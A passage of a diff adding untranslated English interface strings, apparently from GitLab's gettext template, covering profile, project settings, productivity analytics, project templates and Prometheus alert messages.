+msgstr ""
+
+msgid "Preview payload"
+msgstr ""
+
+msgid "Previous Artifacts"
+msgstr ""
+
+msgid "Previous commit"
+msgstr ""
+
+msgid "Previous file in diff"
+msgstr ""
+
+msgid "Previous unresolved discussion"
+msgstr ""
+
+msgid "Primary"
+msgstr ""
+
+msgid "Prioritize"
+msgstr ""
+
+msgid "Prioritize label"
+msgstr ""
+
+msgid "Prioritized Labels"
+msgstr ""
+
+msgid "Prioritized label"
+msgstr ""
+
+msgid "Private"
+msgstr ""
+
+msgid "Private - Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group."
+msgstr ""
+
+msgid "Private - The group and its projects can only be viewed by members."
+msgstr ""
+
+msgid "Private group(s)"
+msgstr ""
+
+msgid "Private profile"
+msgstr ""
+
+msgid "Private projects Minutes cost factor"
+msgstr ""
+
+msgid "Private projects can be created in your personal namespace with:"
+msgstr ""
+
+msgid "Proceed"
+msgstr ""
+
+msgid "Product Analytics"
+msgstr ""
+
+msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
+msgstr ""
+
+msgid "Productivity"
+msgstr ""
+
+msgid "Productivity Analytics"
+msgstr ""
+
+msgid "Productivity analytics can help identify the problems that are delaying your team"
+msgstr ""
+
+msgid "ProductivityAanalytics|Merge requests"
+msgstr ""
+
+msgid "ProductivityAanalytics|is earlier than the allowed minimum date"
+msgstr ""
+
+msgid "ProductivityAnalytics|Ascending"
+msgstr ""
+
+msgid "ProductivityAnalytics|Days"
+msgstr ""
+
+msgid "ProductivityAnalytics|Days to merge"
+msgstr ""
+
+msgid "ProductivityAnalytics|Descending"
+msgstr ""
+
+msgid "ProductivityAnalytics|Hours"
+msgstr ""
+
+msgid "ProductivityAnalytics|List"
+msgstr ""
+
+msgid "ProductivityAnalytics|Merge Requests"
+msgstr ""
+
+msgid "ProductivityAnalytics|Merge date"
+msgstr ""
+
+msgid "ProductivityAnalytics|Merge requests"
+msgstr ""
+
+msgid "ProductivityAnalytics|Time to merge"
+msgstr ""
+
+msgid "ProductivityAnalytics|Trendline"
+msgstr ""
+
+msgid "ProductivityAnalytics|is earlier than the given merged at after date"
+msgstr ""
+
+msgid "Profile"
+msgstr ""
+
+msgid "Profile Settings"
+msgstr ""
+
+msgid "ProfileSession|on"
+msgstr ""
+
+msgid "Profiles| You are about to permanently delete %{yourAccount}, and all of the issues, merge requests, and groups linked to your account. Once you confirm %{deleteAccount}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
+msgstr ""
+
+msgid "Profiles|@username"
+msgstr ""
+
+msgid "Profiles|Account scheduled for removal."
+msgstr ""
+
+msgid "Profiles|Activate signin with one of the following services"
+msgstr ""
+
+msgid "Profiles|Active"
+msgstr ""
+
+msgid "Profiles|Add key"
+msgstr ""
+
+msgid "Profiles|Add status emoji"
+msgstr ""
+
+msgid "Profiles|Avatar cropper"
+msgstr ""
+
+msgid "Profiles|Avatar will be removed. Are you sure?"
+msgstr ""
+
+msgid "Profiles|Bio"
+msgstr ""
+
+msgid "Profiles|Change username"
+msgstr ""
+
+msgid "Profiles|Changing your username can have unintended side effects."
+msgstr ""
+
+msgid "Profiles|Choose file..."
+msgstr ""
+
+msgid "Profiles|Choose to show contributions of private projects on your public profile without any project, repository or organization information"
+msgstr ""
+
+msgid "Profiles|City, country"
+msgstr ""
+
+msgid "Profiles|Clear status"
+msgstr ""
+
+msgid "Profiles|Click on icon to activate signin with one of the following services"
+msgstr ""
+
+msgid "Profiles|Commit email"
+msgstr ""
+
+msgid "Profiles|Connect"
+msgstr ""
+
+msgid "Profiles|Connected Accounts"
+msgstr ""
+
+msgid "Profiles|Current path: %{path}"
+msgstr ""
+
+msgid "Profiles|Current status"
+msgstr ""
+
+msgid "Profiles|Default notification email"
+msgstr ""
+
+msgid "Profiles|Delete account"
+msgstr ""
+
+msgid "Profiles|Deleting an account has the following effects:"
+msgstr ""
+
+msgid "Profiles|Disconnect"
+msgstr ""
+
+msgid "Profiles|Do not show on profile"
+msgstr ""
+
+msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgstr ""
+
+msgid "Profiles|Edit Profile"
+msgstr ""
+
+msgid "Profiles|Enter your name, so people you know can recognize you"
+msgstr ""
+
+msgid "Profiles|Expires at"
+msgstr ""
+
+msgid "Profiles|Expires:"
+msgstr ""
+
+msgid "Profiles|Feed token was successfully reset"
+msgstr ""
+
+msgid "Profiles|Full name"
+msgstr ""
+
+msgid "Profiles|Give your individual key a title. This will be publically visible."
+msgstr ""
+
+msgid "Profiles|Include private contributions on my profile"
+msgstr ""
+
+msgid "Profiles|Incoming email token was successfully reset"
+msgstr ""
+
+msgid "Profiles|Increase your account's security by enabling Two-Factor Authentication (2FA)"
+msgstr ""
+
+msgid "Profiles|Invalid password"
+msgstr ""
+
+msgid "Profiles|Invalid username"
+msgstr ""
+
+msgid "Profiles|Key"
+msgstr ""
+
+msgid "Profiles|Last used:"
+msgstr ""
+
+msgid "Profiles|Learn more"
+msgstr ""
+
+msgid "Profiles|Location"
+msgstr ""
+
+msgid "Profiles|Made a private contribution"
+msgstr ""
+
+msgid "Profiles|Main settings"
+msgstr ""
+
+msgid "Profiles|No file chosen"
+msgstr ""
+
+msgid "Profiles|Notification email"
+msgstr ""
+
+msgid "Profiles|Organization"
+msgstr ""
+
+msgid "Profiles|Path"
+msgstr ""
+
+msgid "Profiles|Position and size your new avatar"
+msgstr ""
+
+msgid "Profiles|Primary email"
+msgstr ""
+
+msgid "Profiles|Private contributions"
+msgstr ""
+
+msgid "Profiles|Profile was successfully updated"
+msgstr ""
+
+msgid "Profiles|Public Avatar"
+msgstr ""
+
+msgid "Profiles|Public email"
+msgstr ""
+
+msgid "Profiles|Remove avatar"
+msgstr ""
+
+msgid "Profiles|Set new profile picture"
+msgstr ""
+
+msgid "Profiles|Social sign-in"
+msgstr ""
+
+msgid "Profiles|Some options are unavailable for LDAP accounts"
+msgstr ""
+
+msgid "Profiles|Static object token was successfully reset"
+msgstr ""
+
+msgid "Profiles|Tell us about yourself in fewer than 250 characters"
+msgstr ""
+
+msgid "Profiles|The ability to update your name has been disabled by your administrator."
+msgstr ""
+
+msgid "Profiles|The maximum file size allowed is 200KB."
+msgstr ""
+
+msgid "Profiles|This doesn't look like a public SSH key, are you sure you want to add it?"
+msgstr ""
+
+msgid "Profiles|This email will be displayed on your public profile"
+msgstr ""
+
+msgid "Profiles|This email will be used for web based operations, such as edits and merges. %{commit_email_link_start}Learn more%{commit_email_link_end}"
+msgstr ""
+
+msgid "Profiles|This emoji and message will appear on your profile and throughout the interface."
+msgstr ""
+
+msgid "Profiles|This information will appear on your profile"
+msgstr ""
+
+msgid "Profiles|Time settings"
+msgstr ""
+
+msgid "Profiles|Two-Factor Authentication"
+msgstr ""
+
+msgid "Profiles|Type your %{confirmationValue} to confirm:"
+msgstr ""
+
+msgid "Profiles|Typically starts with \"ssh-ed25519 …\" or \"ssh-rsa …\""
+msgstr ""
+
+msgid "Profiles|Update profile settings"
+msgstr ""
+
+msgid "Profiles|Update username"
+msgstr ""
+
+msgid "Profiles|Upload new avatar"
+msgstr ""
+
+msgid "Profiles|Use a private email - %{email}"
+msgstr ""
+
+msgid "Profiles|User ID"
+msgstr ""
+
+msgid "Profiles|Username change failed - %{message}"
+msgstr ""
+
+msgid "Profiles|Username successfully changed"
+msgstr ""
+
+msgid "Profiles|Using emojis in names seems fun, but please try to set a status message instead"
+msgstr ""
+
+msgid "Profiles|What's your status?"
+msgstr ""
+
+msgid "Profiles|Who you represent or work for"
+msgstr ""
+
+msgid "Profiles|You can change your avatar here"
+msgstr ""
+
+msgid "Profiles|You can change your avatar here or remove the current avatar to revert to %{gravatar_link}"
+msgstr ""
+
+msgid "Profiles|You can set your current timezone here"
+msgstr ""
+
+msgid "Profiles|You can upload your avatar here"
+msgstr ""
+
+msgid "Profiles|You can upload your avatar here or change it at %{gravatar_link}"
+msgstr ""
+
+msgid "Profiles|You don't have access to delete this user."
+msgstr ""
+
+msgid "Profiles|You must transfer ownership or delete these groups before you can delete your account."
+msgstr ""
+
+msgid "Profiles|Your LinkedIn profile name from linkedin.com/in/profilename"
+msgstr ""
+
+msgid "Profiles|Your account is currently an owner in these groups:"
+msgstr ""
+
+msgid "Profiles|Your email address was automatically set based on your %{provider_label} account"
+msgstr ""
+
+msgid "Profiles|Your key has expired"
+msgstr ""
+
+msgid "Profiles|Your location was automatically set based on your %{provider_label} account"
+msgstr ""
+
+msgid "Profiles|Your name was automatically set based on your %{provider_label} account, so people you know can recognize you"
+msgstr ""
+
+msgid "Profiles|Your status"
+msgstr ""
+
+msgid "Profiles|e.g. My MacBook key"
+msgstr ""
+
+msgid "Profiles|username"
+msgstr ""
+
+msgid "Profiles|website.com"
+msgstr ""
+
+msgid "Profiles|your account"
+msgstr ""
+
+msgid "Profile|%{job_title} at %{organization}"
+msgstr ""
+
+msgid "Profiling - Performance bar"
+msgstr ""
+
+msgid "Programming languages used in this repository"
+msgstr ""
+
+msgid "Progress"
+msgstr ""
+
+msgid "Project"
+msgstr ""
+
+msgid "Project \"%{name}\" is no longer available. Select another project to continue."
+msgstr ""
+
+msgid "Project %{project_repo} could not be found"
+msgstr ""
+
+msgid "Project & Group can not be assigned at the same time"
+msgstr ""
+
+msgid "Project '%{project_name}' is being imported."
+msgstr ""
+
+msgid "Project '%{project_name}' is in the process of being deleted."
+msgstr ""
+
+msgid "Project '%{project_name}' is restored."
+msgstr ""
+
+msgid "Project '%{project_name}' queued for deletion."
+msgstr ""
+
+msgid "Project '%{project_name}' was successfully created."
+msgstr ""
+
+msgid "Project '%{project_name}' was successfully updated."
+msgstr ""
+
+msgid "Project '%{project_name}' will be deleted on %{date}"
+msgstr ""
+
+msgid "Project Access Tokens"
+msgstr ""
+
+msgid "Project Audit Events"
+msgstr ""
+
+msgid "Project Badges"
+msgstr ""
+
+msgid "Project Files"
+msgstr ""
+
+msgid "Project ID"
+msgstr ""
+
+msgid "Project URL"
+msgstr ""
+
+msgid "Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group."
+msgstr ""
+
+msgid "Project already deleted"
+msgstr ""
+
+msgid "Project and wiki repositories"
+msgstr ""
+
+msgid "Project avatar"
+msgstr ""
+
+msgid "Project cannot be shared with the group it is in or one of its ancestors."
+msgstr ""
+
+msgid "Project clone URL"
+msgstr ""
+
+msgid "Project configuration, excluding integrations"
+msgstr ""
+
+msgid "Project description (optional)"
+msgstr ""
+
+msgid "Project details"
+msgstr ""
+
+msgid "Project does not exist or you don't have permission to perform this action"
+msgstr ""
+
+msgid "Project export could not be deleted."
+msgstr ""
+
+msgid "Project export enabled"
+msgstr ""
+
+msgid "Project export has been deleted."
+msgstr ""
+
+msgid "Project export link has expired. Please generate a new export from your project settings."
+msgstr ""
+
+msgid "Project export started. A download link will be sent by email and made available on this page."
+msgstr ""
+
+msgid "Project has too many %{label_for_message} to search"
+msgstr ""
+
+msgid "Project info:"
+msgstr ""
+
+msgid "Project is required when cluster_type is :project"
+msgstr ""
+
+msgid "Project members"
+msgstr ""
+
+msgid "Project milestone"
+msgstr ""
+
+msgid "Project name"
+msgstr ""
+
+msgid "Project name suffix"
+msgstr ""
+
+msgid "Project name suffix is a user-defined string which will be appended to the project path, and will form the Service Desk email address."
+msgstr ""
+
+msgid "Project order will not be saved as local storage is not available."
+msgstr ""
+
+msgid "Project overview"
+msgstr ""
+
+msgid "Project path"
+msgstr ""
+
+msgid "Project scanning help page"
+msgstr ""
+
+msgid "Project security status"
+msgstr ""
+
+msgid "Project security status help page"
+msgstr ""
+
+msgid "Project slug"
+msgstr ""
+
+msgid "Project uploads"
+msgstr ""
+
+msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
+msgstr ""
+
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
+msgid "Project: %{name}"
+msgstr ""
+
+msgid "ProjectActivityRSS|Subscribe"
+msgstr ""
+
+msgid "ProjectCreationLevel|Allowed to create projects"
+msgstr ""
+
+msgid "ProjectCreationLevel|Default project creation protection"
+msgstr ""
+
+msgid "ProjectCreationLevel|Developers + Maintainers"
+msgstr ""
+
+msgid "ProjectCreationLevel|Maintainers"
+msgstr ""
+
+msgid "ProjectCreationLevel|No one"
+msgstr ""
+
+msgid "ProjectFileTree|Name"
+msgstr ""
+
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
+msgid "ProjectLastActivity|Never"
+msgstr ""
+
+msgid "ProjectLifecycle|Stage"
+msgstr ""
+
+msgid "ProjectOverview|Fork"
+msgstr ""
+
+msgid "ProjectOverview|Forks"
+msgstr ""
+
+msgid "ProjectOverview|Go to your fork"
+msgstr ""
+
+msgid "ProjectOverview|Star"
+msgstr ""
+
+msgid "ProjectOverview|Starrer"
+msgstr ""
+
+msgid "ProjectOverview|Starrers"
+msgstr ""
+
+msgid "ProjectOverview|Unstar"
+msgstr ""
+
+msgid "ProjectOverview|You have reached your project limit"
+msgstr ""
+
+msgid "ProjectOverview|You must sign in to star a project"
+msgstr ""
+
+msgid "ProjectPage|Project ID: %{project_id}"
+msgstr ""
+
+msgid "ProjectSelect| or group"
+msgstr ""
+
+msgid "ProjectSelect|Search for project"
+msgstr ""
+
+msgid "ProjectService|%{service_title}: status off"
+msgstr ""
+
+msgid "ProjectService|%{service_title}: status on"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered by a push to the repository"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when a deployment finishes"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
+msgstr ""
+
+msgid "ProjectService|To set up this service:"
+msgstr ""
+
+msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgstr ""
+
+msgid "ProjectSettings|All discussions must be resolved"
+msgstr ""
+
+msgid "ProjectSettings|Allow"
+msgstr ""
+
+msgid "ProjectSettings|Allow users to make copies of your repository to a new project"
+msgstr ""
+
+msgid "ProjectSettings|Allow users to request access"
+msgstr ""
+
+msgid "ProjectSettings|Automatically resolve merge request diff discussions when they become outdated"
+msgstr ""
+
+msgid "ProjectSettings|Badges"
+msgstr ""
+
+msgid "ProjectSettings|Build, test, and deploy your changes"
+msgstr ""
+
+msgid "ProjectSettings|Checkbox is visible and selected by default."
+msgstr ""
+
+msgid "ProjectSettings|Checkbox is visible and unselected by default."
+msgstr ""
+
+msgid "ProjectSettings|Choose your merge method, merge options, merge checks, and merge suggestions."
+msgstr ""
+
+msgid "ProjectSettings|Choose your merge method, merge options, merge checks, merge suggestions, and set up a default description template for merge requests."
+msgstr ""
+
+msgid "ProjectSettings|Contact an admin to change this setting."
+msgstr ""
+
+msgid "ProjectSettings|Container registry"
+msgstr ""
+
+msgid "ProjectSettings|Customize your project badges."
+msgstr ""
+
+msgid "ProjectSettings|Disable email notifications"
+msgstr ""
+
+msgid "ProjectSettings|Do not allow"
+msgstr ""
+
+msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgstr ""
+
+msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgstr ""
+
+msgid "ProjectSettings|Encourage"
+msgstr ""
+
+msgid "ProjectSettings|Every merge creates a merge commit"
+msgstr ""
+
+msgid "ProjectSettings|Every project can have its own space to store its Docker images"
+msgstr ""
+
+msgid "ProjectSettings|Every project can have its own space to store its packages"
+msgstr ""
+
+msgid "ProjectSettings|Everyone"
+msgstr ""
+
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgstr ""
+
+msgid "ProjectSettings|Failed to protect the tag"
+msgstr ""
+
+msgid "ProjectSettings|Failed to update tag!"
+msgstr ""
+
+msgid "ProjectSettings|Fast-forward merge"
+msgstr ""
+
+msgid "ProjectSettings|Fast-forward merges only"
+msgstr ""
+
+msgid "ProjectSettings|Forks"
+msgstr ""
+
+msgid "ProjectSettings|Git Large File Storage (LFS)"
+msgstr ""
+
+msgid "ProjectSettings|Global"
+msgstr ""
+
+msgid "ProjectSettings|Internal"
+msgstr ""
+
+msgid "ProjectSettings|Issues"
+msgstr ""
+
+msgid "ProjectSettings|LFS objects from this repository are still available to forks. %{linkStart}How do I remove them?%{linkEnd}"
+msgstr ""
+
+msgid "ProjectSettings|Learn more about badges."
+msgstr ""
+
+msgid "ProjectSettings|Lightweight issue tracking system for this project"
+msgstr ""
+
+msgid "ProjectSettings|Manages large files such as audio, video, and graphics files"
+msgstr ""
+
+msgid "ProjectSettings|Merge checks"
+msgstr ""
+
+msgid "ProjectSettings|Merge commit"
+msgstr ""
+
+msgid "ProjectSettings|Merge commit with semi-linear history"
+msgstr ""
+
+msgid "ProjectSettings|Merge method"
+msgstr ""
+
+msgid "ProjectSettings|Merge options"
+msgstr ""
+
+msgid "ProjectSettings|Merge requests"
+msgstr ""
+
+msgid "ProjectSettings|Merge suggestions"
+msgstr ""
+
+msgid "ProjectSettings|No merge commits are created"
+msgstr ""
+
+msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
+msgstr ""
+
+msgid "ProjectSettings|Only signed commits can be pushed to this repository."
+msgstr ""
+
+msgid "ProjectSettings|Packages"
+msgstr ""
+
+msgid "ProjectSettings|Pages"
+msgstr ""
+
+msgid "ProjectSettings|Pages for project documentation"
+msgstr ""
+
+msgid "ProjectSettings|Pipelines"
+msgstr ""
+
+msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
+msgstr ""
+
+msgid "ProjectSettings|Pipelines must succeed"
+msgstr ""
+
+msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
+msgstr ""
+
+msgid "ProjectSettings|Private"
+msgstr ""
+
+msgid "ProjectSettings|Project visibility"
+msgstr ""
+
+msgid "ProjectSettings|Public"
+msgstr ""
+
+msgid "ProjectSettings|Repository"
+msgstr ""
+
+msgid "ProjectSettings|Require"
+msgstr ""
+
+msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgstr ""
+
+msgid "ProjectSettings|Share code pastes with others out of Git repository"
+msgstr ""
+
+msgid "ProjectSettings|Show default award emojis"
+msgstr ""
+
+msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgstr ""
+
+msgid "ProjectSettings|Skipped pipelines are considered successful"
+msgstr ""
+
+msgid "ProjectSettings|Snippets"
+msgstr ""
+
+msgid "ProjectSettings|Squash commits when merging"
+msgstr ""
+
+msgid "ProjectSettings|Squashing is always performed. Checkbox is visible and selected, and users cannot change it."
+msgstr ""
+
+msgid "ProjectSettings|Squashing is never performed and the checkbox is hidden."
+msgstr ""
+
+msgid "ProjectSettings|Submit changes to be merged upstream"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgstr ""
+
+msgid "ProjectSettings|The variables GitLab supports:"
+msgstr ""
+
+msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgstr ""
+
+msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgstr ""
+
+msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
+msgstr ""
+
+msgid "ProjectSettings|This setting is applied on the server level but has been overridden for this project."
+msgstr ""
+
+msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
+msgstr ""
+
+msgid "ProjectSettings|This setting will override user notification preferences for all project members."
+msgstr ""
+
+msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgstr ""
+
+msgid "ProjectSettings|Transfer project"
+msgstr ""
+
+msgid "ProjectSettings|Users can only push commits to this repository that were committed with one of their own verified emails."
+msgstr ""
+
+msgid "ProjectSettings|View and edit files in this project"
+msgstr ""
+
+msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
+msgstr ""
+
+msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgstr ""
+
+msgid "ProjectSettings|When enabled, issues, merge requests, and snippets will always show thumbs-up and thumbs-down award emoji buttons."
+msgstr ""
+
+msgid "ProjectSettings|Wiki"
+msgstr ""
+
+msgid "ProjectSettings|With GitLab Pages you can host your static websites on GitLab"
+msgstr ""
+
+msgid "ProjectSettings|With Metrics Dashboard you can visualize this project performance metrics"
+msgstr ""
+
+msgid "ProjectTemplates|.NET Core"
+msgstr ""
+
+msgid "ProjectTemplates|Android"
+msgstr ""
+
+msgid "ProjectTemplates|GitLab Cluster Management"
+msgstr ""
+
+msgid "ProjectTemplates|Go Micro"
+msgstr ""
+
+msgid "ProjectTemplates|HIPAA Audit Protocol"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/GitBook"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/Hexo"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/Hugo"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/Jekyll"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/Plain HTML"
+msgstr ""
+
+msgid "ProjectTemplates|NodeJS Express"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Gatsby"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/GitBook"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Hexo"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Hugo"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Jekyll"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Plain HTML"
+msgstr ""
+
+msgid "ProjectTemplates|Ruby on Rails"
+msgstr ""
+
+msgid "ProjectTemplates|SalesforceDX"
+msgstr ""
+
+msgid "ProjectTemplates|Serverless Framework/JS"
+msgstr ""
+
+msgid "ProjectTemplates|Spring"
+msgstr ""
+
+msgid "ProjectTemplates|Static Site Editor/Middleman"
+msgstr ""
+
+msgid "ProjectTemplates|iOS (Swift)"
+msgstr ""
+
+msgid "Projects"
+msgstr ""
+
+msgid "Projects (%{count})"
+msgstr ""
+
+msgid "Projects Successfully Retrieved"
+msgstr ""
+
+msgid "Projects are graded based on the highest severity vulnerability present"
+msgstr ""
+
+msgid "Projects shared with %{group_name}"
+msgstr ""
+
+msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
+msgstr ""
+
+msgid "Projects to index"
+msgstr ""
+
+msgid "Projects will be permanently deleted after a 7-day waiting period."
+msgstr ""
+
+msgid "Projects will be permanently deleted immediately."
+msgstr ""
+
+msgid "Projects with critical vulnerabilities"
+msgstr ""
+
+msgid "Projects with high or unknown vulnerabilities"
+msgstr ""
+
+msgid "Projects with low vulnerabilities"
+msgstr ""
+
+msgid "Projects with medium vulnerabilities"
+msgstr ""
+
+msgid "Projects with no vulnerabilities and security scanning enabled"
+msgstr ""
+
+msgid "Projects with write access"
+msgstr ""
+
+msgid "ProjectsDropdown|Frequently visited"
+msgstr ""
+
+msgid "ProjectsDropdown|Loading projects"
+msgstr ""
+
+msgid "ProjectsDropdown|Projects you visit often will appear here"
+msgstr ""
+
+msgid "ProjectsDropdown|Search your projects"
+msgstr ""
+
+msgid "ProjectsDropdown|Something went wrong on our end."
+msgstr ""
+
+msgid "ProjectsDropdown|Sorry, no projects matched your search"
+msgstr ""
+
+msgid "ProjectsDropdown|This feature requires browser localStorage support"
+msgstr ""
+
+msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
+msgstr ""
+
+msgid "ProjectsNew|Blank"
+msgstr ""
+
+msgid "ProjectsNew|Blank project"
+msgstr ""
+
+msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
+msgstr ""
+
+msgid "ProjectsNew|Contact an administrator to enable options for importing your project."
+msgstr ""
+
+msgid "ProjectsNew|Create"
+msgstr ""
+
+msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
+msgstr ""
+
+msgid "ProjectsNew|Create blank project"
+msgstr ""
+
+msgid "ProjectsNew|Create from template"
+msgstr ""
+
+msgid "ProjectsNew|Create new project"
+msgstr ""
+
+msgid "ProjectsNew|Creating project & repository."
+msgstr ""
+
+msgid "ProjectsNew|Description format"
+msgstr ""
+
+msgid "ProjectsNew|Import"
+msgstr ""
+
+msgid "ProjectsNew|Import project"
+msgstr ""
+
+msgid "ProjectsNew|Initialize repository with a README"
+msgstr ""
+
+msgid "ProjectsNew|No import options available"
+msgstr ""
+
+msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgstr ""
+
+msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
+msgstr ""
+
+msgid "ProjectsNew|Run CI/CD for external repository"
+msgstr ""
+
+msgid "ProjectsNew|Template"
+msgstr ""
+
+msgid "ProjectsNew|Visibility Level"
+msgstr ""
+
+msgid "ProjectsNew|Want to house several dependent projects under the same namespace? %{link_start}Create a group.%{link_end}"
+msgstr ""
+
+msgid "Prometheus"
+msgstr ""
+
+msgid "PrometheusAlerts|%{count} alerts applied"
+msgstr ""
+
+msgid "PrometheusAlerts|%{firingCount} firing"
+msgstr ""
+
+msgid "PrometheusAlerts|Add alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Edit alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Error creating alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Error deleting alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Error fetching alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Error saving alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Firing: %{alerts}"
+msgstr ""
+
+msgid "PrometheusAlerts|Firing: %{alert}"
+msgstr ""
+
+msgid "PrometheusAlerts|Operator"
+msgstr ""
+
+msgid "PrometheusAlerts|Runbook URL (optional)"
+msgstr ""
+
+msgid "PrometheusAlerts|Select query"
+msgstr ""
+
+msgid "PrometheusAlerts|Threshold"
+msgstr ""
+
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgstr ""
+
+msgid "PrometheusService|Active"
+msgstr ""
+
+msgid "PrometheusService|Auto configuration"
+msgstr ""
+
+msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments"
+msgstr ""
+
+msgid "PrometheusService|Client ID of the IAP secured resource (looks like IAP_CLIENT_ID.apps.googleusercontent.com)"
+msgstr ""
+
+msgid "PrometheusService|Common metrics"
+msgstr ""
+
+msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
+msgstr ""
+
+msgid "PrometheusService|Contents of the credentials.json file of your service account, like: { \"type\": \"service_account\", \"project_id\": ... }"
+msgstr ""
+
+msgid "PrometheusService|Custom metrics"
+msgstr ""
+
+msgid "PrometheusService|Custom metrics require Prometheus installed on a cluster with environment scope \"*\" OR a manually configured Prometheus to be available."
+msgstr ""
+
+msgid "PrometheusService|Enable Prometheus to define custom metrics, using either option above"
+msgstr ""
+
+msgid "PrometheusService|Finding and configuring metrics..."
+msgstr ""
+
+msgid "PrometheusService|Finding custom metrics..."
+msgstr ""
+
+msgid "PrometheusService|Install Prometheus on clusters"
+msgstr ""
+
+msgid "PrometheusService|Manage clusters"
+msgstr ""
+
+msgid "PrometheusService|Manual configuration"
+msgstr ""
+
+msgid "PrometheusService|Metrics"
+msgstr ""
+
+msgid "PrometheusService|Missing environment variable"
+msgstr ""
+
+msgid "PrometheusService|More information"
+msgstr ""
+
+msgid "PrometheusService|New metric"
+msgstr ""
+
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
+msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
+msgstr ""
+
+msgid "PrometheusService|Prometheus API Base URL, like http://prometheus.example.com/"
+msgstr ""
+
+msgid "PrometheusService|Prometheus is being automatically managed on your clusters"
+msgstr ""
+
+msgid "PrometheusService|Select the Active checkbox to override the Auto Configuration with custom settings. If unchecked, Auto Configuration settings are used."
+msgstr ""
+
+msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
+msgstr ""
+
+msgid "PrometheusService|Time-series monitoring service"
+msgstr ""
+
+msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration below"
+msgstr ""
+
+msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
+msgstr ""
+
+msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
+msgstr ""
+
+msgid "Promote"
+msgstr ""
+
+msgid "Promote confidential issue to a non-confidential epic"
+msgstr ""
+
+msgid "Promote issue to an epic"
+msgstr ""
+
+msgid "Promote to group label"
+msgstr ""
+
